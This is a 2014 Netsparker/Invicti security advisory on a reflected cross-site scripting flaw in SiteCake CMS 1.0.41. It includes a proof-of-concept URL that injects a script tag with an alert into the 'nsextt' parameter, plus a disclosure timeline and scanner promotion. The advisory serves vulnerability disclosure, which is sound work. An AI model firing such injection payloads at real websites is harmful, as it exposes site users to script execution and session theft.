XSS Vulnerability in SiteCake

Information

Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in SiteCake
Software: SiteCake 1.0.41 and possibly below.
Vendor Homepage: http://sitecake.com/
Vulnerability Type: Cross-site Scripting
Severity: Critical
Researcher: Omar Kurt
Advisory Reference: NS-14-027

Description

Simple, drag and drop CMS for easy editing

Details

SiteCake is affected by XSS vulnerability 1.0.41.
SiteCake PoC urls are as follows:

  • Cross-site Scripting
    http://example.com/sitecake/sitecake/server/sitecake_entry.php?controller=session&nsextt='"--></style></scRipt><scRipt>alert(0x000083)</scRipt>

You can read the full article about Cross-site Scripting vulnerabilities from here:

Solution

Advisory Timeline

12/06/2014 – First Contact
13/06/2014 – Second Contact
14/08/2014 – Advisory released

Credits

It has been discovered on testing of Invicti Web Application Security Scanner.

About Invicti

Invicti® can find and report security issues such as SQL Injection and Cross-site Scripting (XSS) in all web applications regardless of the platform and the technology they are built on. Invicti’s unique detection and exploitation techniques allows it to be dead accurate in reporting hence it’s the first and the only False Positive Free web application security scanner.